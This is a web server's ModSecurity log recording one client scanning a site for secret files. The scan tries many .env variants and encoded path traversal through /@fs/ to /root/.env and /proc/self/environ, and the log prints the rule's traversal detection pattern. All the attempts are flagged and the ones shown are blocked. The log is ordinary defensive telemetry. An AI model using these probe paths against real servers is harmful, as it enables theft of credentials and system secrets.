[Sun Oct 25 22:08:51.784240 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at62Mz23lTe6Xv-mctsOBAAAACs"]
[Sun Oct 25 22:08:51.784404 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at62Mz23lTe6Xv-mctsOBAAAACs"]
[Sun Oct 25 22:08:51.935841 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at62Mz23lTe6Xv-mctsOBAAAACs"]
[Sun Oct 25 22:08:51.808839 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at62M0DZB1z45uajChfURwAAAAs"]
[Sun Oct 25 22:08:52.007678 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at62M0DZB1z45uajChfURwAAAAs"]
[Sun Oct 25 22:08:52.007976 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at62M0DZB1z45uajChfURwAAAAs"]
[Sun Oct 25 22:08:51.809675 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at62Mwo4OiAv7EzdRZ1MEQAAABI"]
[Sun Oct 25 22:08:52.008600 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at62Mwo4OiAv7EzdRZ1MEQAAABI"]
[Sun Oct 25 22:08:52.008850 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at62Mwo4OiAv7EzdRZ1MEQAAABI"]
[Sun Oct 25 22:08:51.810503 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at62M4Lcv9dw313oUE9-AwAAAAM"]
[Sun Oct 25 22:08:52.009472 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at62M4Lcv9dw313oUE9-AwAAAAM"]
[Sun Oct 25 22:08:52.009716 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at62M4Lcv9dw313oUE9-AwAAAAM"]
[Sun Oct 25 22:08:51.811254 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at62MxaKu-Zjs56a5J4sEwAAAAo"]
[Sun Oct 25 22:08:52.016200 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at62MxaKu-Zjs56a5J4sEwAAAAo"]
[Sun Oct 25 22:08:52.016501 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at62MxaKu-Zjs56a5J4sEwAAAAo"]
[Sun Oct 25 22:08:51.811997 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at62MwVMbcT9KgS5Oi2M9wAAAA0"]
[Sun Oct 25 22:08:52.030551 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at62MwVMbcT9KgS5Oi2M9wAAAA0"]
[Sun Oct 25 22:08:52.030794 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at62MwVMbcT9KgS5Oi2M9wAAAA0"]
[Sun Oct 25 22:08:51.934405 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at62M8qAWG0KXU7cDUAgSgAAACY"]
[Sun Oct 25 22:08:52.031939 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at62M8qAWG0KXU7cDUAgSgAAACY"]
[Sun Oct 25 22:08:52.032215 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at62M8qAWG0KXU7cDUAgSgAAACY"]
[Sun Oct 25 22:08:51.936829 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at62M5OM_hg2_5C4qplHfQAAAC4"]
[Sun Oct 25 22:08:52.032722 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at62M5OM_hg2_5C4qplHfQAAAC4"]
[Sun Oct 25 22:08:52.033058 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at62M5OM_hg2_5C4qplHfQAAAC4"]
[Sun Oct 25 22:08:51.996876 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62M1KNdIrfpEod-HqEDgAAACo"]
[Sun Oct 25 22:08:52.043354 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62M1KNdIrfpEod-HqEDgAAACo"]
[Sun Oct 25 22:08:52.006542 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at62NF2gI0wACY59VBumRQAAACA"]
[Sun Oct 25 22:08:52.007357 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at62NDbTjnVH12qwK530gAAAABw"]
[Sun Oct 25 22:08:52.234418 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at62NDbTjnVH12qwK530gAAAABw"]
[Sun Oct 25 22:08:52.234458 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at62NDbTjnVH12qwK530gAAAABw"]
[Sun Oct 25 22:08:52.234534 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at62NDbTjnVH12qwK530gAAAABw"]
[Sun Oct 25 22:08:52.060838 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at62NFDKe3Jk6NXMvqM5OAAAAB0"]
[Sun Oct 25 22:08:52.253049 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at62NAo4OiAv7EzdRZ1MEgAAABI"]
[Sun Oct 25 22:08:52.253072 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at62NFDKe3Jk6NXMvqM5OAAAAB0"]
[Sun Oct 25 22:08:52.253127 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at62NFDKe3Jk6NXMvqM5OAAAAB0"]
